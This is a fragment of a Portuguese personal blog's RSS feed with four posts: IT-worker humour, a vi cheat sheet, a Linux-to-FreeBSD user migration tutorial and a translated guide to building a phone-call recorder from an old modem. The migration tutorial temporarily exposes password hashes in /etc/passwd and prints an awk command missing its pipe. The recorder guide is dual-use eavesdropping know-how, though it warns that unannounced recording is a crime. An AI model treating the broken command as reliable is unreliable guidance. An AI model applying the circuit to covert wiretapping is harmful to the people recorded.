		<title>Coisas que todos precisam saber a respeito de um &#34;cara da informática&#34; - parte 1</title>
		<link>http://www.elirios.com/2008/06/03/coisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-1/</link>
		<comments>http://www.elirios.com/2008/06/03/coisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-1/#comments</comments>
		<pubDate>Wed, 04 Jun 2008 00:27:00 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[humor]]></category>

		<guid isPermaLink="false">http://www.elirios.com/blog/2008/06/03/coisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-1/</guid>
		<description><![CDATA[Esse é um e-mail que recebi. Apesar de tudo, o cara da informática é um cara normal:
1) O CARA DA INFORMÁTICA dorme. Pode parecer mentira, mas o CARA DA INFORMÁTICA precisa dormir como qualquer outra pessoa. Esqueça que ele tem celular e telefone em casa. Ligue só para o escritório;
2) O CARA DA INFORMÁTICA come. [...]]]></description>
			<content:encoded><![CDATA[<p>Esse é um e-mail que recebi. Apesar de tudo, o <em>cara da informática</em> é um <em>cara normal:</em></p>
<p>1) O CARA DA INFORMÁTICA dorme. Pode parecer mentira, mas o CARA DA INFORMÁTICA precisa dormir como qualquer outra pessoa. Esqueça que ele tem celular e telefone em casa. Ligue só para o escritório;</p>
<p>2) O CARA DA INFORMÁTICA come. Parece inacreditável, mas é verdade. O CARA DA INFORMÁTICA também precisa se alimentar e tem hora para isso;</p>
<p>3) CARA DA INFORMÁTICA pode ter família. Essa é a mais incrível de todas: Mesmo sendo um CARA DA INFORMÁTICA, a pessoa precisa descansar no final de semana para poder dar atenção à família, aos amigos e a si próprio, sem pensar ou falar em informática, impostos, formulários, consertos e demonstrações, manutenção, vírus e etc.;</p>
<p>4) CARA DA INFORMÁTICA, como qualquer cidadão, precisa de dinheiro. Por essa você não esperava, né? É surpreendente, mas o CARA DA INFORMÁTICA também paga impostos, compra comida, precisa de combustível, roupas e sapatos. E ainda consome Lexotan para conseguir relaxar… Não peça aquilo pelo que não pode pagar ao CARA DA INFORMÁTICA;</p>
<p>Bom, outro dia continuo com essas incríveis constatações&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/06/03/coisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-1/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Vi: Pesquisa e Substituição</title>
		<link>http://www.elirios.com/2008/03/18/vi-pesquisa-e-substituicao/</link>
		<comments>http://www.elirios.com/2008/03/18/vi-pesquisa-e-substituicao/#comments</comments>
		<pubDate>Tue, 18 Mar 2008 12:36:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[freebsd]]></category>

		<category><![CDATA[linux]]></category>

		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://www.elirios.com/blog/2008/03/18/vi-pesquisa-e-substituicao/</guid>
		<description><![CDATA[Mudar para modo normal com &#60;ESC&#038;gt.

Pesquisa (Posição atual até final de arquivo):

  Pesquisa STRING abaixo:   / STRING.  Pesquisa STRING acima :   ? STRING.

  Repete pesquisa:   n  Repete pesquisa na direção oposta:  N  (SHIFT-n)



Substituição: O mesmo que com o SED, Troca OLD com NEW:

 [...]]]></description>
			<content:encoded><![CDATA[<p>Mudar para modo normal com &lt;<em>ESC</em>&#038;gt.</p>
<p>
<p><strong>Pesquisa</strong> (Posição atual até final de arquivo):</p>
<p>
<pre>  Pesquisa <em>STRING</em> abaixo:   / <em>STRING</em>.  Pesquisa <em>STRING</em> acima :   ? <em>STRING</em>.

  Repete pesquisa:   n  Repete pesquisa na direção oposta:  N  (<em>SHIFT</em>-n)</pre>
<p>
</p>
<p>
<p><strong>Substituição</strong>: O mesmo que com o <em>SED</em>, Troca <em>OLD</em> com <em>NEW</em>:</p>
<p>
<pre>  Primeira ocorrencia na linha atual:    :s/<em>OLD</em>/<em>NEW</em>  Globalmente (todas) na linha atual:    :s/<em>OLD</em>/<em>NEW</em>/g  Entre duas linhas #,#:                 :#,#s/<em>OLD</em>/<em>NEW</em>/g  Todas ocorrencias no arquivo:          :%s/<em>OLD</em>/<em>NEW</em>/g</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/03/18/vi-pesquisa-e-substituicao/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Como migrar usuários do Linux para o FreeBSD</title>
		<link>http://www.elirios.com/2008/03/05/como-migrar-usuarios-do-linux-para-o-freebsd/</link>
		<comments>http://www.elirios.com/2008/03/05/como-migrar-usuarios-do-linux-para-o-freebsd/#comments</comments>
		<pubDate>Wed, 05 Mar 2008 19:50:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[freebsd]]></category>

		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.elirios.com/blog/2008/03/05/como-migrar-usuarios-do-linux-para-o-freebsd/</guid>
		<description><![CDATA[

Vai uma dica para quem quer migrar usuários do Linux para o FreeBSD
No Linux:
Como root, execute o comando pwunconv, para colocar no arquivo /etc/passwd as senhas que estão no shadow:# pwunconv
Para gerar o arquivo master.passwd do FreeBSD, execute o seguinte comando:# cat /etc/passwd awk -F&#8221;:&#8221; &#8216;{printf(&#8221;%s:%s:%s:%s::0:0:%s:%s:%s\n&#8221;,$1,$2,$3,$4,$5,$6,$7); }&#8217; > /home/eu/master.passwd
Copiar alguns arquivos que vamos usar depois [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://bp3.blogger.com/_acJtn504xMs/R88UqKCS74I/AAAAAAAAAE8/YmUTO59bezw/s1600-h/beastie.png"><img id="BLOGGER_PHOTO_ID_5174377211353034626" style="FLOAT: right; MARGIN: 0px 0px 10px 10px; CURSOR: hand" alt="" src="http://bp3.blogger.com/_acJtn504xMs/R88UqKCS74I/AAAAAAAAAE8/YmUTO59bezw/s200/beastie.png" border="0" /></a>
<div>
<div>Vai uma dica para quem quer migrar usuários do Linux para o FreeBSD</p>
<p><em><strong>No Linux:</strong></em></p>
<p>Como <em>root</em>, execute o comando <strong>pwunconv</strong>, para colocar no arquivo <em>/etc/passwd </em>as senhas que estão no <em>shadow:</em><br /><strong># pwunconv</strong></p>
<p>Para gerar o arquivo <em>master.passwd </em>do FreeBSD, execute o seguinte comando:<br /><strong># cat /etc/passwd awk -F&#8221;:&#8221; &#8216;{printf(&#8221;%s:%s:%s:%s::0:0:%s:%s:%s\n&#8221;,$1,$2,$3,$4,$5,$6,$7); }&#8217; > /home/eu/master.passwd</strong></div>
<div>Copiar alguns arquivos que vamos usar depois para uma pasta qualquer de nosso acesso:<br /><strong>#cp /etc/passwd /home/eu/<br />#cp /etc/shell /home/eu/<br />#cp /etc/group /home/eu/</strong></p>
<p>Com o <em>vi </em>ou outro editor qualquer, cheque então o conteúdo do <em>master.passwd </em>gerado por precaução.</p>
<p>Execute o comando pwconv para colocar de volta as senhas do <em>/etc/passwd </em>para o /etc/shadow:<br /><strong># pwconv</strong></p>
<p><em><strong>No FreeBSD:</strong></em></p>
<p>Copiar o novo <em>master.passwd</em>, <em>passwd</em>, <em>shell </em>e <em>group </em>para uma pasta local. </div>
<p>
<div></div>
<p>
<div>NÃO ESQUECER DE FAZER UM BACKUP DOS ARQUIVOS LOCAIS (passwd, master.passwd e group)</p>
<p>Editar esses arquivos, excluindo as primeiras linhas do <em>master.passwd</em>, <em>passwd </em>e <em>groups </em>de tal forma que se apague as linhas de usuários de sistema, como <em>root</em>, <em>wheels</em>, <em>sshd</em>, etc. Após apagar essas linhas, adicione ao início desses arquivos os usuários de sistema do FreeBSD (arquivo original no FreeBSD). Alterar os <em>shells </em>dos usuários para <em>shells </em>permitidos pelo sistema, na lista descrita no arquivo <em>/etc/shell</em> no FreeBSD. Verificar alterações extras necessárias.</p>
<p>Após editar o arquivo, tomando esses cuidados acima, copiar os arquivos de <em>/home/eu </em>(<em>master.passwd, passwd e group</em>) para <em>/etc :</em><br /><strong># cp /home/eu/master.passwd /etc<br /># cp /home/eu/passwd /etc<br /># cp /home/eu/group /etc</strong></p>
<p>Dar permissões corretas:<br /><strong># chmod 644 /etc/passwd<br /># chmod 644 /etc/group<br /># chmod 600 /etc/master.passwd<br /># chown root.wheel /etc/passwd<br /># chown root.wheel /etc/master.passwd<br /># chown root.wheel /etc/group</strong></p>
<p>Gerar o novo <em>pwd.db</em> :<br /><strong># pwd_mkdb /etc/master.passwd</strong> </div>
<p>
<div></div>
<p>
<div>Por precaução, mudar a senha de root, para evitar perder acesso.</div>
<p>
<div><strong># passwd root</strong></p>
<p>obs: no caso ainda não foi criada as pastas home de cada usuário. É necessário então criar a mão ou escrever um script para tal tarefa. </div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/03/05/como-migrar-usuarios-do-linux-para-o-freebsd/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Como contruir uma escuta telefônica através de um modem velho</title>
		<link>http://www.elirios.com/2007/10/10/como-contruir-uma-escuta-telefonica-atraves-de-um-modem-velho/</link>
		<comments>http://www.elirios.com/2007/10/10/como-contruir-uma-escuta-telefonica-atraves-de-um-modem-velho/#comments</comments>
		<pubDate>Wed, 10 Oct 2007 13:18:00 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[featured]]></category>

		<guid isPermaLink="false">http://www.elirios.com/blog/2007/10/10/como-contruir-uma-escuta-telefonica-atraves-de-um-modem-velho/</guid>
		<description><![CDATA[
Vamos usar um modem velho para converter o áudio da linha telefônica em um sinal regular de linha. Este pequeno hack é super útil para quem precisa gravar chamadas telefônicas (Voip ou linha convencional) com uma qualidade de áudio boa, considerando as limitações de freqüências de um sinal de linha telefônica. Lembre-se que gravar ligações [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://bp2.blogger.com/_acJtn504xMs/RwzEOmNmLDI/AAAAAAAAACU/cdI6nax6D5A/s1600-h/escuta0.jpg"><img style="cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_acJtn504xMs/RwzEOmNmLDI/AAAAAAAAACU/cdI6nax6D5A/s400/escuta0.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5119682631468198962" /></a></p>
<p>Vamos usar um modem velho para converter o áudio da linha telefônica em um sinal regular de linha. Este pequeno hack é super útil para quem precisa gravar chamadas telefônicas (Voip ou linha convencional) com uma qualidade de áudio boa, considerando as limitações de freqüências de um sinal de linha telefônica. Lembre-se que gravar ligações telefônicas, aqui no Brasil e em boa parte do mundo, sem notificar todas as partes envolvidas, é crime.</p>
<p>O que vamos precisar:<br />- um modem velho com um transformador de áudio<br />- um ferro de solda<br />- uma placa de circuito perfurada<br />- um computador entrada de áudio P2 (mini jack)<br />- um cabo telefônico extra</p>
<p>Primeiramente remova os componentes do modem velho cuidadosamente:<br />- um transformador de áudio 1:1 (geralmente um grande cubo com quatro pinos)<br />- dois resistores 10k ohm<br />- dois diodos<br />- dois capacitores 10uF ou equivalente<br />- dois conectores de linha telefônica fêmea<br />- um conector mini jack P2 fêmea (ou um cabo macho se houver um soquete disponível)</p>
<p>O transformador geralmente é mascado como T1 ou algo similar na placa do circuito do modem:</p>
<p><a href="http://bp2.blogger.com/_acJtn504xMs/RwzEdmNmLEI/AAAAAAAAACc/3lQyXOPnah4/s1600-h/escuta1.jpg"><img style="cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_acJtn504xMs/RwzEdmNmLEI/AAAAAAAAACc/3lQyXOPnah4/s400/escuta1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5119682889166236738" /></a></p>
<p>Retire os conectores de linha telefônica para conexão dos cabos telefônicos. Eles são importantes, pois não haverá assim a necessidade de fazer conexão diretamente com fios.</p>
<p><a href="http://bp0.blogger.com/_acJtn504xMs/RwzF1GNmLFI/AAAAAAAAACk/bnkCWbSevnk/s1600-h/escuta2.jpg"><img style="cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_acJtn504xMs/RwzF1GNmLFI/AAAAAAAAACk/bnkCWbSevnk/s400/escuta2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5119684392404790354" /></a></p>
<p>Agora no seu circuito, inicie soldando o transformador, os dois conectores de linha telefônica fêmea e o conector de áudio.</p>
<p><a href="http://bp1.blogger.com/_acJtn504xMs/RwzG3WNmLGI/AAAAAAAAACs/x-PTGuDv2aI/s1600-h/escuta3.jpg"><img style="cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_acJtn504xMs/RwzG3WNmLGI/AAAAAAAAACs/x-PTGuDv2aI/s400/escuta3.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5119685530571123810" /></a></p>
<p><a href="http://bp2.blogger.com/_acJtn504xMs/RwzG_mNmLHI/AAAAAAAAAC0/Z6j7Cc1iZiM/s1600-h/escuta4.jpg"><img style="cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_acJtn504xMs/RwzG_mNmLHI/AAAAAAAAAC0/Z6j7Cc1iZiM/s400/escuta4.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5119685672305044594" /></a></p>
<p>Uma vez os componentes soldados e colados, corte a placa do circuito de tal forma que fique do tamanho dos componentes.</p>
<p><a href="http://bp0.blogger.com/_acJtn504xMs/RwzHpGNmLII/AAAAAAAAAC8/uA010VdmrwI/s1600-h/escuta5.jpg"><img style="cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_acJtn504xMs/RwzHpGNmLII/AAAAAAAAAC8/uA010VdmrwI/s400/escuta5.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5119686385269615746" /></a></p>
<p>Então, seguindo o esquema abaixo, coloque os resistores, capacitores e diodos (clique para aumentar a imagem):</p>
<p><a href="http://bp3.blogger.com/_acJtn504xMs/RwzI72NmLJI/AAAAAAAAADE/w20PmMjCNOU/s1600-h/escuta6.jpg"><img style="cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_acJtn504xMs/RwzI72NmLJI/AAAAAAAAADE/w20PmMjCNOU/s320/escuta6.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5119687806903790738" /></a></p>
<p>O Conector 1 e 2 da linha telefônica são opostos entre si no circuito para ajudar quando forem conectados, então se pode ligar os cabos como se ele fosse um conector do tipo I. Isso possibilita que o sinal passe através do dispositivo. No exemplo abaixo, esses dois cabos são o vermelho e o azul. (Note que nessa imagem se ignora a conexão entre o transformador e o conector da linha telefônica).</p>
<p><a href="http://bp0.blogger.com/_acJtn504xMs/RwzKmGNmLKI/AAAAAAAAADM/XbMv9R8M5DA/s1600-h/escuta7.jpg"><img style="cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_acJtn504xMs/RwzKmGNmLKI/AAAAAAAAADM/XbMv9R8M5DA/s400/escuta7.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5119689632264891554" /></a></p>
<p>Termine o circuito e teste ele conectando-o a linha telefônica que se deseja gravar. No outro conector, ligue-o a um segundo cabo de telefone, levando-o até o aparelho. Então conecte um cabo de áudio P2 (mini jack) no circuito para entrada de linha do computador ou outro gravador.</p>
<p><a href="http://bp0.blogger.com/_acJtn504xMs/RwzMrGNmLMI/AAAAAAAAADc/d-UaMk9HXho/s1600-h/escuta8.jpg"><img style="cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_acJtn504xMs/RwzMrGNmLMI/AAAAAAAAADc/d-UaMk9HXho/s400/escuta8.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5119691917187493058" /></a></p>
<p><a href="http://bp1.blogger.com/_acJtn504xMs/RwzMjWNmLLI/AAAAAAAAADU/0RwY3Bjb2ls/s1600-h/escuta9.jpg"><img style="cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_acJtn504xMs/RwzMjWNmLLI/AAAAAAAAADU/0RwY3Bjb2ls/s400/escuta9.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5119691784043506866" /></a></p>
<p>Teste o áudio no computador ou gravador. Um bom software gratuito é o <a href="http://audacity.sourceforge.net/download/">Audacity</a>(Uso e recomendo!), que roda em Mac, Linux e Windows:</p>
<p><a href="http://bp0.blogger.com/_acJtn504xMs/RwzNrGNmLNI/AAAAAAAAADk/oChjlJTbSl0/s1600-h/audacity.jpg"><img style="cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_acJtn504xMs/RwzNrGNmLNI/AAAAAAAAADk/oChjlJTbSl0/s400/audacity.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5119693016699120850" /></a></p>
<p>Se você usa Voip pelo computador, não precisará desse circuito, já que programas como o Audacity gravam tudo o que passam pelas placas de áudio. Mas caso use linhas convencionais ou Voip com telefones analógicos, esse circuito então será muito útil.</p>
<p>Eu mesmo testei e logo postarei uma foto do circuito que montei.</p>
<p>traduzido de: <a href="http://www.engadget.com/2005/09/27/how-to-build-a-telephone-recording-circuit-from-an-old-modem/">Engadget</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2007/10/10/como-contruir-uma-escuta-telefonica-atraves-de-um-modem-velho/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
